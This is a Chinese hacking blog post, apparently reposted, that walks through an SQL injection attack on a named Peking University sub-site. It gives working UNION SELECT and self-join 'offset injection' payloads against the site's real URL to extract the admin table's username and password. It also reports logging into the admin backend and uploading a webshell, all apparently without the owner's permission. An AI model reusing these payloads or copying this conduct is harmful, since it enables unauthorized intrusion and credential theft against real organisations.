Access偏移注入检测北大分站

来源:互联网 发布:java登录界面代码 编辑:程序博客网 时间:2024/06/06 01:03
Access偏移注入检测北大分站
2011-10-01 22:25
Access偏移注入检测北大分站
作者:莫良
来自BHST.org
0x00
大清早朋友丢来一站要我看,反正蛋疼厉害,就帮帮他呗。一看,哇靠北大分站,上跳板,我们来给他安全检测一番.具体没什么技术含量,高手飘过。
0x01
简单在首页试了几个可能存在注入的链接都失败了,扫扫目录也扫不出个什么东西。就随便进去看看呗,进了一个什么莫斯科大学和北大的联合分院,莫名其妙的来一了一股意念,我觉得这里有搞头,点了一个链接and
1=1;and 1=2,鉴定完毕,存在注入。丢进明小子里看看,发现了通常都会遇见的问题,他字段有点个性,我猜不出来。

猜不出来怎么办呢,那我就手注吧。先用order by来检测字段数。当order by 10的时候返回错误

order by 9返回正常,说明有9个字段。如下图

测试一下union可以不可以使用,我们提交如下语句来测试一下。


http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30
union select 1,2,3,4,5,6,7,8,9 from admin

返回如下

看来可以用union联合查询了。我们接下来看看admin有几个字段。提交如下语句

http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30
union select 1,* from admin

http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30
union select 1,2,* from admin

http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30
union select 1,2,3,* from admin

依次类推,当我提交到union select 1,2,3,4,5,6,* from
admin返回正常,说明admin的字段为9-6=3,有3个字段。
0x02
既然知道了admin表字段数,我们来考虑怎么来爆内容呢。这里就是重头戏,我们用偏移表自联来爆吧。
比如有一个表A结构如下

id   name   pass   字段
1    abc     123
2    efg      456
3   
hij       789

自联
select * from (admin as a inner join admin as b on a.id=b.id)

(其中a.id=b.id就是自联条件),将返回以下结果

a.id   a.name   a.pass    b.id    b.name    b.pass
1     abc        
123        1        abc          123
2     efg          456        2      
efg            456
3     hij           789        3         hij           
789

通过上面的分析,我们可以自联admin表,admin表是3个字段,自联后也就是2*3=6个字段,然后我们在随便加3个字段凑数就变成了9个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
union
select 1,2,3,* from (admin as a inner join admin as b on a.id=b.id)

爆出了密码?呵呵,我们去挂wwwscan扫扫这个目录的后台,成功发现了后台。再提交

http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30
union select 1,username,3,4,5,6,7,8,9 from admin

爆出了管理员账号,如下图

0x03
到这里就差不多了,我登入后台上传了一个shell,具体就不多说了,这里主要讲了关于ACCESS偏移注入的一点东西.